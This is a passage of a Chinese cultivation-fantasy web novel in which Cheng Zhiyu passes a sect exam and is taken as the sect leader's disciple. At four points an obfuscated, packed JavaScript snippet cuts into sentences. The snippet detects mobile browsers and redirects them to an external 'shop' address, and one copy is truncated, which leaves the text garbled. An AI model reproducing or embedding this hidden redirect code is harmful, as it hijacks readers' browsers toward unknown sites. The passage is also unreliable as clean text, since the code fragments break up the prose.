这倒也没说错。 昨日她满脑子都是陆云峥,确实也没注意到其他人。 说来也的确神奇,昨日的汤药喝下去后今日便能恢复如常。 究竟是汤药的功效,还是陆云峥的血呢? 程知鱼知道这一切不过是猜测,也许那碗里压根没有血,是她闻错了。 抑或是陆云峥身上真的有什么秘密。 可陆云峥现下并没有对程知鱼产生威胁,只要她自己不像原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093253|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主那般,应该就不会提前死亡。 想到这,程知鱼又开心了起来,迅速换好衣服跟着众人出了门。 门外人头攒动着,见傅逾白等人来了,都自动让出一条道来,嘈杂声四起,奋力向前簇拥着。 “各位,今日是我们最后一次考核,大家稍安勿躁。” 萧风眠清俊的面庞焕发出如玉般的光芒,声音明明不大,却让大家都安静了下来。 “小白,带他们去栖梧阁吧。” “嗯。”傅逾白点了点头,指尖凝聚灵力,在地上划出一道繁复的轨迹,口中低声默念着咒语。 下一瞬,灵力在阵法中暴涨,他抬手召出佩剑,径直插入阵眼。 脚边的枯草瞬间渡上银边,点点霜花落在程知鱼脚边,她忍不住打了个寒颤。 “大家随我去栖梧阁吧。”傅逾白收了剑,示意众人进入阵法之中。 大家面面相觑,还是踏进了法阵之中,程知鱼便也同姜拂雪走了进去。 刚进阵中,两人便在角落里看见昨日落荒而逃的陆云峥,不知在想些什么,神色有些沉重。 程知鱼走了过去,轻笑道:“你的伤如何了?” 陆云峥没料到来人,猛然站起身,却接连后退,差点把程知鱼撞飞出去。 “抱歉!”陆云峥眼疾手快将程知鱼扶住,又像被烫到似的,突然松开手,朝程知鱼拜了一拜。 “是我唐突了,不要紧。”程知鱼无所谓地摆摆手,“你的伤……” 陆云峥耳根有些泛红,鼻尖微微沁出薄汗:“我的伤没什么大碍,不要紧,倒是你,伤寒应该好了吧。” 法阵中狂风吹动着众人的衣袍,程知鱼神色一凝,随后绽开笑容:“那就好,多亏了你的汤药,我今日竟然觉得神清气爽了。” “站好了,别交头接耳。” 傅逾白的声音从远处传来,被程知鱼收入耳中,顺着声音瞧去,正好对上他的视线。傅逾白眉头紧蹙着,看向他们二人。 怎么总是针对我,我没惹他啊…… 程知鱼有些摸不着头脑,还是朝陆云峥微微欠身,回到了姜拂雪身边。 陆云峥身上有秘密。 程知鱼方才在他抬手的一瞬间分明压根没有看见昨日的白纱,甚至连伤口都没有。 到底是什么样的力量才能在一夜之间让伤口恢复如初。 程知鱼觉得心中有些不安,不自觉抓上了姜拂雪的衣角。 “怎么了?”姜拂雪有些担心地看过来。 程知鱼松开了姜拂雪的衣角,看着被她抓得皱巴巴的衣服,有些不好意思。 “没什么,我就是有些紧张。” 程知鱼搪塞了过去,脸上的神情却没有放松半分。 “师兄,你不跟我一起过去吗?”傅逾白看着待在原地的萧风眠,有些困惑。 “我就不过去了,四师叔炼丹又把师傅的寝殿给炸了,我要过去帮忙收拾呢……这些人就交给你了。”萧风眠认命地叹了口气,摇着扇子就消失在了原地。 原来修真界也有牛马…… 程知鱼默默在心底帮萧风眠点了根蜡。 “臭老头……”傅逾白嘟囔了两句,便施法启动了大家脚下巨大的法阵,一阵地动山摇,众人险些站不住脚。 “大家站稳了,我们将去栖梧阁进行最后一项考核……” 11. 第 11 章 “咚——” 悠扬的钟声似泠泠清泉,穿过云层落到众人耳边,不吵,反而给人一种心旷神怡的感觉。 大家抬起头看着眼前浮于仙山之上的楼阁,高耸入云,如梦似幻,阁外有一个巨大的仙鹤石像,威风凛凛令人有些不敢直视它。 程知鱼也忍不住惊呼出声,哪怕是先前生活在现代,也从没见过如此巍峨的楼阁。 “傅师兄。” 楼阁前两位弟子见傅逾白领着众人来到栖梧阁,便上前朝他施了施礼,统一的月白锦袍衬得两人更加肃穆。 那两位弟子不知与傅逾白说了些什么,从袖口掏出一本书册递给了他,随后便退至一边,施法将阁中的禁制解开。 “诸位请跟我进来。” 傅逾白撂下一句话便率先踏入栖梧阁,消失在众人眼前。 姜拂雪牵着程知鱼也一同进去,这一路上她对程知鱼是百般照料,左看看又摸摸,生怕一不注意程知鱼又突然晕了过去。 其实程知鱼身体并无大碍了,但还是不忍拂了姜拂雪的好意,于是也欣然接受了。 栖梧阁更准确来说应该是藏书阁,这点在大家进入之后便深有体会了,抬头望不见顶的藏书,在木质书架上排列得整整齐齐,漾出淡淡的墨香。 “各位自己找位子坐下,接下来是笔试考核。” 众人各自散去,坐到了高几前,案几上的鎏金兽首香炉逸出丝丝缕缕的淡青色烟雾。 修真界也要参加考试吗? 程知鱼摸着桌上看起来价格不菲的香炉,有些爱不释手。 真不愧是修真界第一宗门,出手如此阔绰,连香炉都这么高级。 程知鱼财迷的模样被傅逾白尽收眼底,还是没忍住嗤笑出声,引得周围人频频侧目。 傅逾白用手抵住嘴角:“此次笔试时间为一柱香,一柱香后,全部上交。” 说罢,大家的案几上就凭空出现了一张试卷,说是试卷也不太恰当,其实上面仅有一道题。 “如若生来残疾,有一法可使其恢复如初,但以人命为代价,是换还是不换?” 程知鱼有些愣住了,此题竟与她当下的心境恰好契合。 生来残缺,还有魔族圣女这个枷锁在身,却被要求寻找神器来解救魔神,为了活命,她是取还是不取? 这个问题程知鱼一直在思考,不取是早死,取了是晚死,可为了自己的命释放魔神杀害更多无辜的百姓,真的值得吗? 程知鱼握着笔,却久久不能下笔,直到墨汁顺着笔尖滴落,在试卷上晕开,才惊醒了程知鱼。 她见一旁的香线已烧断一半,这才匆匆下笔。 再抬起头时,香线已燃烧殆尽,在桌案上留下一层厚厚的香灰,被微风吹起,落在地上。 不知何时,傅逾白身侧站了一位青衣男子,玉管束发,眉目俊美,如同清雅矜贵的世家公子,与萧风眠的气质倒有几分相似。 “师傅。” 傅逾白朝青衣男子恭恭敬敬地行了一礼,才转头看向众人。 师傅! 程知鱼了解过傅逾白,据说他是青云宗宗主的嫡传弟子,那面前的这人…… 难怪气质如此出尘,但看起来年纪竟不比傅逾白大多少,玉清真人果然名不虚传。 程知鱼收回视线,敛了敛神色,不敢再看。 既是第一门派的宗主,那实力定是深不可测,万一被他看出身上的魔族气息…… 程知鱼不敢细想,这修真界谁人不知魔族与人族妖族势不两立,一旦遇上便是不死不休。 虽说她有着顾梧渊说的什么血咒,可谁能保证这对这位修真界顶尖高手到底有没有作用。 程知鱼坐在椅子上,手脚却不受控制地发凉,仿佛随时要倒下去,恐惧像一只无形的手掐住了她的脖颈。 冷汗一点点浸湿了她的衣衫,程知鱼握紧了手,让自己尽量保持镇定。 她自以为掩饰的很好,殊不知这一切被玉清真人尽收眼底,却仅是将视线落在在她身上,不多时便移开。 程知鱼能感知到落在她身上的那道视线,却并未察觉到任何杀意。 难道这血咒真如此厉害,竟连宗主都能骗过去? 她松了口气,却又立刻紧张起来。 连宗主都能骗过的意思就是: 如果她不按照魔族的命令行事,那这血咒随时便能要了她的性命。 思及此,程知鱼已经不知该哭还是该笑了。 为了活命她容易吗…… “师傅,可将他们的试卷收上来查阅了。” “嗯……辛苦你了小白。” 玉清真人微微颔首,笑着抚上他的肩膀,下一刻所有人的答卷就出现在他们师徒手中。 众人皆紧张地抬头看着面前的二人阅卷,似要将两人盯出一个洞来才肯罢休。 不想这两人从拿到众人的答卷时,眉头就没有解开过,偶尔才会露出一丝欣慰赞赏的笑意,轻轻点点头表达赞许。 程知鱼也不敢抬头看,便一会低着头一会偷偷瞄姜拂雪。 这做贼心虚的模样逗笑了姜拂雪,她摇摇头示意程知鱼别紧张,又偷偷朝程知鱼比了个加油的手势。 程知鱼心里流泪,面如土色朝着姜拂雪坚定地点头。 她没敢抬头,自然也错过了玉清真人一时错愕的神色。 那是一张粘了大滴墨渍的试卷,却没有长篇大论地堆砌大道理,仅仅只有四个字,却足够振聋发聩。 “我不信命。” 玉清真人不动声色朝程知鱼看去,眉眼真情实感带了三分笑意,将试卷递给傅逾白。 “倒是个有趣的孩子,你认识她吧。” “师傅,我……” 玉清真人清俊的面庞带上几分揶揄地笑容,摸摸傅逾白的脑袋,狠狠揉了一把。 “自从长大后都不跟师傅亲近了,我还是喜欢你小时候撒娇耍赖的模样。” 玉清真人扯开了话题,却逗得傅逾白满脸通红,又不敢发作,只得任由师傅在自己的头发上“作恶”。 好一会,玉清真人才仿佛餍足一般,放下手,抽出几张试卷交给傅逾白,准备施法离去。 “师傅,您去哪?” “我找淮南子要钱去,炸了我的寝殿还没赔钱呢。” 说罢,刚准备离开又像是想到什么,转头招呼傅逾白覆耳过去。 “那个程知鱼,我打算收作弟子了,要好好照顾你的师妹啊。” 傅逾白有些惊讶,睁大眼睛看着自己的师傅。 玉清真人在收傅逾白时曾说过再不收弟子,没想到竟破了自己立下的规矩。 可再如何惊讶,傅逾白还是应下了师傅的嘱咐,朝玉清真人施礼送他离开。 等玉清真人离去,傅逾白仔细看了看这些试卷上的名字,发现竟有不少熟人。 “姜拂雪,陆云峥上前来” 两人听到傅逾白的话俱是一惊,随后立刻走上前去,站立于傅逾白身侧,等到吩咐。 接着傅逾白陆续叫了几人的名字,程知鱼越听心里越发不安,眼见他手中的试卷越来越薄,她心里开始焦虑起来。 难道是方才答题之时太过简略?抑或是玉清真人一早就发现她的身份,刻意为之? 傅逾白手中只剩一张试卷时,程知鱼的心仿佛提到了嗓子眼,如果她没进青云宗,也许真的只有死路一条了。 连一旁的姜拂雪都为程知鱼捏了把汗,她们二人约好了要一起进青云宗,可此时…… 傅逾白捏起最后一张试卷,顿了顿,才抬起头,慢悠悠地开口:“程知鱼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093254|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程知鱼仿佛得到救命稻草般大口地喘着气,骤停的心脏也重新恢复跳动,心跳声震得她手脚发麻。 还好还好,终于是过了,功夫不负有心人啊。 程知鱼鼻头不自觉发酸,突然有些想落泪,她总算是为自己博得了一线生机。 傅逾白放下试卷,眼底藏了些许笑意,又迅速垂下眼帘。 “恭喜各位,随我去大殿见各位长老,其余未入选的考生希望下次青云宗招生时还能再见到各位。” 说罢,便示意一旁的弟子将其余人送下山,大家虽心有不甘,却也无可奈何,只得摇摇头随着弟子走出栖梧阁,筹划着下一次的招生选拔。 程知鱼还没从喜悦中回过神来,满心满眼都是自己终于有救了的喜悦之情,连姜拂雪叫了她好几声都没听到。 突然一记重击,她感到额头传来一阵疼痛,才后知后觉地捂上额头,看着眼前的罪魁祸首。 傅逾白甩了甩手,抱着胳膊看着她:“走不走?一个人留在栖梧阁过夜吗?” “走走走。” 程知鱼小跑到姜拂雪身边,正对上陆云峥的视线,迟疑了一会,还是弯了弯眉眼。 “恭喜你呀,我们以后就是同门了。” “你也是,你很厉害!”陆云峥认真地看着程知鱼,发自内心地夸奖。 程知鱼倒是被陆云峥的直球一下打懵了,略微寒暄一番便不再看他。 虽说男主现在还只是一个看起来其貌不扬的少年,可谁能想到日后竟也能成为一方大拿。 程知鱼在心底计较了一番,既然她已经替代了原主,只要不像之前一般应该便不会按书中的故事发展下去,但若能与之交好,也并非是一件坏事。 按陆云峥那种锦鲤体质,自带男主光环,说不定有朝一日还能帮她寻找到神器也说不定。 程知鱼想得投入,也没发现周围早已变了模样。 面前是金碧辉煌的大殿,屋顶由无数片价值连城的琉璃瓦铺砌,巨大的牌匾由万年玄冰锻铸而成,镌刻着“无极殿”三个大字,无形中施以威压。 程知鱼倒吸一口冷气,怔怔地看着如此震撼的建筑,不免有些紧张。 傅逾白率先进殿,通过考核的众人只得跟随其身后,殿内比之殿外更是有过之而无不及,大家哪见过这种场面,皆左顾右盼,有的人甚至想上手摸摸这雕刻着仙鹤玄龙的玉柱。 “他们来啦,他们来啦。” 殿内拐角处突然飞出一只羽毛艳丽的鹦鹉,叽叽喳喳地说着话,绕着他们飞了一圈又一圈,最后停在程知鱼肩膀上。 那鹦鹉眨巴着大眼睛好奇地看着程知鱼,突然啄了一下她的头发,再次叽叽喳喳地叫起来:“就是她就是她。” “嘶——” 程知鱼感觉自己的头发绝对被揪下来了,龇牙咧嘴地护着自己心爱的秀发。 “你再啄我头发我跟你拼了!” 此话一出,众人原本紧张的心情也被减轻不少,姜拂雪无奈看着一人一鸟对峙的场面,轻叹了口气。 “好了傻鸟,别玩了。” 傅逾白在一旁看了许久的戏,才将这鹦鹉抓了回来,捧在手心里带着众人朝内殿走去。 “你才傻鸟!” 那鹦鹉不满地扑闪着翅膀,却不敢下嘴啄他。 欺软怕硬。 程知鱼嘟囔着,瞪了那鸟一眼。 傅逾白一人走在前面,听到这句抱怨面上不动,忍了忍还是控制不住弯了嘴角。 走到拐角处,原本安静如鸡的大殿突然传来了争吵声,如雷贯耳…… “淮南子,你下次再把我的寝殿炸了,我就把你头上那几根毛全部拔了!” …… 这声音还怪耳熟的。 不正是程知鱼在栖梧阁见到的玉清真人吗? 12. 第 12 章 傅逾白走在最前面,自然也能清晰地听到这一番话。 但他仿佛见怪不怪一般,手握拳抵在唇边,轻咳了几声。 很神奇,里面立刻变得鸦雀无声。 他敲了敲石门,里面明明有人,却不知为何过了好一阵那石门才缓慢打开。 “各位进来吧。” 说话的是玉清真人,端坐在最上方,脸色依旧带着如沐春风的笑容,可青色长衫不知为何颇有些凌乱。 他们刚才不会是在里面互殴吧…… 程知鱼嘴角抽动了几下,偷偷看向坐在玉清真人身侧的几位长老。 只见一位须发半百的老者笑呵呵地坐在宗主身侧,白眉大耳,一脸慈祥地看着众人,不像是宗门长老,倒像是一位亲切的邻家爷爷。 这应该就是宗主口中的淮南子了。 至于为什么程知鱼能一眼认出呢,除了标志性的稀疏头发外,还有就是他腰间的玉葫芦。 浓烈的药香味从葫芦中溢出,飘满整个内殿。 淮南子见众人都不说话,便高声笑道:“这便是我青云宗新收的几位弟子吧。” 傅逾白朝他抱拳躬身,应道:“正是,人都在这了。” 淮南子摸了摸自己的山羊胡,笑眯眯地点头,看向阶下的几人,问道:“可有人想跟着我学习炼丹之术?” 程知鱼也曾听闻淮南子的名号,虽不如宗主玉清真人,但在这修真界也是如雷贯耳的存在。据说他不仅有着一手出神入化的炼丹之术,就连医术也是无人能出其右。 从他手中得到的丹药,无论放在何处都是有市无价的珍宝,甚至在市面上有一传言:只要得其破厄丹,便能突破境界限制。 市面上的商人也口口相传:宁吞仙丸,不要玉璧。 程知鱼思及此,难免有些动心,这可是仙丹,只要卖一颗,那她岂不是从此与贫困说再见了。 她正打算上前毛遂自荐一番,却被身旁一位少年抢先一步。这少年也是个沉默寡言的主,从头到尾程知鱼也没见他说过几句话,斯斯文文的长相,看上去倒像个书生。本以为是个懦弱的,没想到竟对丹药感兴趣。 淮南子见少年上前,笑开了花,眼角的褶皱堆积得把视线几乎吞没了,“好!好啊!” 他牵起少年的手举过头顶,笑声几乎要淹没整个大殿,一时竟连少年的名字都忘了问。 “弟子顾渊,见过师傅。” 少年认认真真地向淮南子行了拜师礼,代表着正式入了他的师门。 程知鱼眼见拜师礼成,还是有些不甘,毕竟淮南子也没说只收一人为徒吧。 她正打算举手示意,却没想到一旁的淮南子快速撇了她一眼,又迅速挪开。像一条狡猾的鱼躲开了程知鱼伸出的手。 程知鱼这辈子也想不到自己能用狡猾来形容这位德高望重的长老…… “咳咳,既然没有其他人愿意,那便作罢。” 说罢朝各位长老抱了抱手,便带着顾渊离开了大殿。 程知鱼:? 她有些摸不着头脑,那淮南子分明看见了她,却不愿收她为徒,难道说自己的身份被看穿了吗? 程知鱼有些淡淡的不安,又安慰自己或许是淮南子并未看见自己,是自己想多了,所以决定将目光投向其他长老身上。 “这个淮南子,师兄还没选呢,倒是被他提前挑走了一个好苗子。” 程知鱼顺着声音看去,心尖也微微颤了一下,世间竟有如此美丽的女子! 一袭紫衣华裳,衣袂翩翩,秋水明眸,红唇皓齿,身姿婀娜,一颦一笑间尽是娇媚。 那女子黛眉微蹙,撩起耳边垂落的发丝,不满地朝着玉清真人诉说着。 “好了师妹,那老头你又不是第一天认识他。”玉清真人看上去倒像是早就习惯了淮南子的作风,也懒得去管。 “师妹可有心仪之人?”一直端坐着一言不发的一位长老开口问道。 程知鱼不敢正大光明地看这位长老,只得偷偷眯眼瞧去,只因这位长老颇有些粗犷英武。 不像是玉清真人那种风度翩翩的美男子,倒像是战场上杀敌无数的大将军,古铜色的皮肤上满是长年累月修炼留下的痕迹,一双深邃的眼睛仿佛能看透世间一切邪恶。 “说来我倒是真有一满意的弟子” 那貌美女子挑了挑眉,涂着蔻丹的玉指似是随意一指,众人的视线便落在了姜拂雪的身上。 姜拂雪无措地看着那女子,脸颊微微有些涨红。 “我、我什么都不会……” 她口中嗫嚅,身体有些颤抖,还是不习惯这种万众瞩目的感觉。 “你这小女娃,可知她是谁,难得她主动收徒,还不跪下拜师。” 方才开口的是正是那英武非凡的长老,竖眉立目,颇有不怒自威的感觉。 “哎呀,师兄,你别吓到她了。” 那女子伸手拦了一下,走到姜拂雪身前,俯下身子看着姜拂雪。 “我乃青霞仙子玉如白,可曾听闻过我的名号?” 程知鱼有些震惊,没想到面前这美艳女子竟然是名震天下的青霞仙子。 据史料记载,她只身入魔族,用她的名琴同尘捣毁了魔族数个据点,且全身而退,是个举世无双的妙人。 这可是千载难逢的机会,程知鱼拽了拽姜拂雪的袖子,示意她赶紧拜师。 不想姜拂雪却有些茫然,她确实不曾听闻过青霞仙子的名号,诚实地摇了摇头。 青霞仙子被她逗笑了,涂着蔻丹的手轻拂过姜拂雪的脸颊,捏了捏。 “难道我玉如白已经被新人取代了吗?” 她顿了顿,对转头对玉清真人说道:“师兄,我就要她了!” 姜拂雪有些激动也有些紧张,她不曾见过如此大的场面,也不曾被人如此坚定的选择过,霎时有些红了眼眶。 过了一会又像突然反应过来似的,忙跪下重重地磕了一个响头,那声音在空旷的大殿内不停地回荡。 “傻孩子,从今天起,你就是我玉如白的弟子了。” 青霞仙子伸手将姜拂雪从地上扶起来,看着她额头上一片红肿的痕迹,既心疼又无奈。 程知鱼打心底里替姜拂雪感到高兴,心疼她一路上的遭遇,终于凭自己的努力获得了一个疼爱自己的师傅,也是皆大欢喜的事。 眼见身边熟悉的人都被挑走,程知鱼也开始着急了起来,这几位长老选择的是内门弟子,也可以说是把最好的资源都留给这些亲传弟子了。 她曾听闻玉清真人在收傅逾白后就说不再收弟子,所以她也并没有寄希望于玉清真人。 可…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093255|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她转头去看那长相粗犷的长老,如果她所料不错,这位长老应是那愠山道人,一把缀离刀荡尽世间邪魔。 刀修…… 她没记错的话,陆云峥好像也是刀修吧。 按照惯例来说,他的男主光环该发挥作用了。 “你可是刀修?”愠山道人沉默了一会,把视线停留在了陆云峥的身上。 果然如此。 除了宗主之外所有的长老皆有自己心仪的人选,那剩下的弟子便只能成为外门弟子,负责洒扫看护等杂役,无论是资源还是地位都远不如内门弟子。 可尽管如此,还是有无数人为此前仆后继,哪怕做一个普通的外门弟子,地位也是普通人远不能及的。 可恶的修真界。 算了,炮灰就要有炮灰的觉悟,再怎么说起码进了不是? 大不了之后再找机会进入内门就是了。 不知道自己这个身体还能不能撑到她进入内门的那一天。 大殿安静了下来,几位长老身侧都站了人,姜拂雪却有些担忧,她知道虽然程知鱼面上装作什么都不在乎的模样,可心里对这次机会看得很重。 她看向师傅,眼里闪过纠结,要不试着求求师傅呢。 青霞仙子把手轻轻搭在她肩头,意思不言而喻了,姜拂雪只得放弃这个念头,眉头皱作一团。 程知鱼往人群后缩了缩,开始打算起自己日后的生活。 要是被分配到杂役的话,那月俸估计少得可怜,也难接近跟神器有关的线索了。 世道艰难啊…… 她忍不住长叹一口气。 傅逾白被她一脸命苦的神情逗得低笑起来,薄唇微抿,笑意简直要溢出眼底。 ……笑笑笑,有什么好笑的,她都这么惨了还笑。 程知鱼狠狠瞪了他一眼,这是也不管什么同门情谊了,反正她将来是外门弟子,怎么也碰不着他。 这样想着,越发理直气壮了起来,还悄悄翻了白眼。 傅逾白气笑了,真当他眼睛瞎了吗? 他看着程知鱼张牙舞爪的样子,突然想起了他第一天遇见程知鱼的模样,小小的身体却被血污所覆盖,全身上下满是伤口,可怜兮兮地蜷缩在地上,像一只被人抛弃的小猫。 傅逾白突然觉得现在这样也挺好,起码不是从前那副弱不禁风的模样了。 “真傻。”傅逾白低喃道。 程知鱼自然听不到这一声,却被一旁的玉清真人听得真真切切。 他偏头看向傅逾白,却发现自己这个平日里总是藏着心事的徒儿面对这个小姑娘时却能变得像一个少年人,仿佛卸下了重担一般。 玉清真人甚感欣慰,想找找程知鱼问她是否想做他的弟子,可却发现她已经溜到队伍的最后面去了。 无奈,他只好大声喊道:“程知鱼何在!” “在!在这!”程知鱼突然被点名,有些不知所措,身高原因导致她已经完全淹没在众人之中, 没办法,她只能一边跳起来一边举手让玉清真人能够看到她。 “孩子,上前来。” 玉清真人朝她招了招手,示意程知鱼到他面前去。 程知鱼内心有些忐忑不安,抬头便见玉清真人目光灼灼地看着她。 “你可愿做我玉清真人的弟子?” 13. 第 13 章 “什么?” 程知鱼有些懵,脑海中回荡着玉清真人方才的话,直愣愣地看着他,不可置信地重复了一遍。 “嗯,我想收你做弟子,你可愿意?” “可……” 程知鱼一时间有些反应不过来,不是说这玉清真人不再收弟子了吗,怎么会突然收她为弟子? 程知鱼自认没那么大的本事可让这修真界的大拿另眼相看,可眼下的情况又想不出别的原因。 “愿意,我愿意!” 程知鱼也顾不了那么多了,能做这青云宗宗主的关门弟子,比那普通的外门弟子不知好了多少倍,这下她的命或许真的有救了。 她有些昏了头,扑通一下便跪在玉清真人脚边,重重地磕在玉石地上。 “咚——” 那声响震得连那鹦鹉都扑朔着翅膀在大殿上空四处乱飞。 “哎,好了好了快起来吧,再磕下去我青云宗上好的地砖就要裂开了。” 玉清真人有些失笑,其他几位长老亦是忍俊不禁地看着跪在地上的程知鱼。 “你这弟子也是可爱得紧啊。”青霞仙子打趣道。 “师傅,你可是一早便知道宗主会收知鱼为弟子?” 姜拂雪看着程知鱼得偿所愿也是打心底里替她高兴,这时便又忽地想起方才师傅安抚她的动作,没忍住便问了出来。 “傻徒弟,离风方才眼睛都要黏在你那朋友身上了。” “离风?” 玉如白愣了一下,忙得解释道:“离风是我师兄的名字,但自从他当上宗主之后,便再也没叫过他这个名字了。” 说着像是回忆起了什么,摸着姜拂雪的头发,低声呢喃道:“年轻真好啊……” “师傅还年轻呢。”姜拂雪红着脸低声道:“我没见过比师傅还更好看的女子了。” 玉如白心里乐开了花,还是故作谦虚:“人外有天啊……” 跪在地上的程知鱼,此时也有些不好意思,一溜烟地爬起来,双腿因长时间跪在地上有些发麻而颤抖。 “呵。” 笑什么笑。 不对! 程知鱼猛地反应过来,傅逾白也是玉清真人的弟子,那她岂不是成了傅逾白的师妹了。 “师妹,走吧。” 傅逾白盯着程知鱼看了一会,伸出手扶了一把,皮笑肉不笑地冷冷开口说道。 其实他不知道自己多了一个师妹应不应该开心。 从小到大他都没什么朋友。 在青云宗,师傅总是在忙,师兄要肩负着照顾宗门所有弟子的重任,就连他也可以说是师兄带大的。 他没有父母,没有兄长,他是被师傅从一个洞天福地捡回来的。 被带回来的那一刻,便被预言将来只有他能带领人妖两族彻底消灭魔神。 小时候的他不知道什么是天命之子,只知道只有他一个人需要学各种各样的技能,无论是仙法还是剑术都必须要拔得头筹。 在其他同样大的孩子聚在一起玩闹时,他被困在房间里,日复一日学着仙法,窗外时不时传来孩子们的嬉戏声,像石子砸在傅逾白幼小的心上。 在无数日夜中,陪他度过的是那只叫馒头的鹦鹉。 长大之后,大家多是因他天生剑骨或是灵力高强而敬畏他攀附他,他自然也不会交到什么朋友。 这样说起来,程知鱼应该算是他第一个朋友了。 傅逾白用余光偷偷看跟在他身后的程知鱼,看了两眼他决定收回上面的感慨。 程知鱼走在后面跟那傻鸟打起来了…… 说是打也不对,因为是程知鱼在单方面被馒头啄。 傅逾白眉头微皱,抿了抿唇:“馒头,回来!” 那鹦鹉叫了两声,像打了胜仗的将军似的,抖了抖翅膀,飞到了傅逾白的肩头。 程知鱼气得直跺脚,傅逾白欺负她,连他的鸟都能“鸟假虎威”。 离风看着两人的打闹,倒是感到些许欣慰,自从傅逾白大了,也不爱说话,也不跟他亲近了,现在终于也有了年纪相仿的朋友。 他笑着点点头,有一种吾家有儿初成长的感觉。 “小白,你带知鱼去看看玉虚峰吧,我还需处理一些琐事,晚些会回去。” “是,师傅。” 傅逾白抱拳躬身目送玉清真人离开,随即直起身瞥了一眼程知鱼。 “走不走?” “去哪啊?”程知鱼有些懵,这哥们态度是不是抓变得有点快了? 师傅在叫师妹,师傅不在连主语都没有了…… 傅逾白瘦高的身子微屈,红色的发带顺着脖颈垂下,几乎要蹭到程知鱼的脸:“去哪?把你带去卖掉。” 程知鱼感觉他的气息几乎要将她包围了,温热的鼻息弄得她脸颊有些痒,便不自觉地往后退了一些。 傅逾白看见程知鱼的小动作,这才意识到自己好像靠得太近了,微愣,不自然地摸了摸鼻尖,撇开眼,看向别处。 “怜生!” 他话音刚落,那把他时常佩戴在身侧的雪白长剑便出现在两人之间,乖巧地蹭了蹭傅逾白的手。 “咳……”傅逾白指尖微动,那霜花长剑便乖乖悬停在半空,“我带你去我们所住的地方。” 程知鱼一听到这个,也不想方才的事了,小心地扶着傅逾白踩了上去。 “是方才师傅所说的玉虚峰吗?长什么样?人多吗?萧师兄也在那吗?还有……” 傅逾白听着程知鱼喋喋不休地询问着,嘴角微微抽搐了一下,暗暗地想:这小姑娘怎么这么多话能说? 他似笑非笑地看着程知鱼,眼神中闪过一丝狡黠,偷偷加快了怜生的速度。 “啊——” 程知鱼还没问完,脚下的剑却突然飞速前进,摇摇晃晃的差点将她扔下去。 她下意识拽住了傅逾白的胳膊,抬头却清晰地看见傅逾白嘴角若有若无的笑意,哪能不知道是谁搞的鬼。 行! 人在屋檐下,不得不低头。 程知鱼就这样抱着傅逾白的胳膊安安静静地抵达了玉虚峰。 刚从长剑上下来的时候,程知鱼以为自己到了现代的农家乐。 眼前的景象完全不是程知鱼想象中的样子,这跟整个青云宗都不是一个画风好吗? 傅逾白像是早知道程知鱼会有这个反应,姿态散漫地斜倚在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093256|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵大树上,眼神耷拉看着她。 凭程知鱼阅文无数的经验,小说中叫xx峰的一般都是华丽气派,仙气飘飘,令人望而生畏的地方。可看着眼前鸡鸭遍地走,大片的菜园子,各种各样的果树,她实在无法将眼前的景色与小说联系在一起。 她指着远处塌成废墟的大殿,殷切地看着傅逾白:“这也是玉虚峰的设计吗?” 少年剑眉轻挑,难得有些尴尬,眼神不去看她,迟疑了片刻,开口道:“那倒不是,这……” “轰——” 巨大的声响打断了傅逾白的话,两人转头看去,只见方才已经塌成废墟的大殿又二次塌方了,巨大的浓烟笼罩着大殿,泥沙混着木屑惹得程知鱼不停地打喷嚏。 浓烟渐渐散去,里面缓缓走出一个人来。 是萧师兄! 萧风眠没想到此时碰上他们,发丝凌乱不堪,就连脸上都沾上了泥沙。 “师兄……你怎么?” 傅逾白看着与平时风度翩翩的师兄变成这样,面色一怔,脸上带着嫌弃,连连后退,生怕自己也沾上了这些灰尘。 “好啊,小白,你也嫌弃我。” 萧风眠看着傅逾白的神色,恶从心起,立刻瞬移到他身边,一把揽过傅逾白的肩膀,将自己身上的泥灰蹭到了他身上。 “师兄!” 傅逾白连忙将自己从萧风眠的怀里挣脱出来,薄唇抿成了一条直线,紧皱着眉,连眉心的红痣都看不见了。 他叹了口气,拍拍衣袖,把躲在一旁的程知鱼拉到身边来。 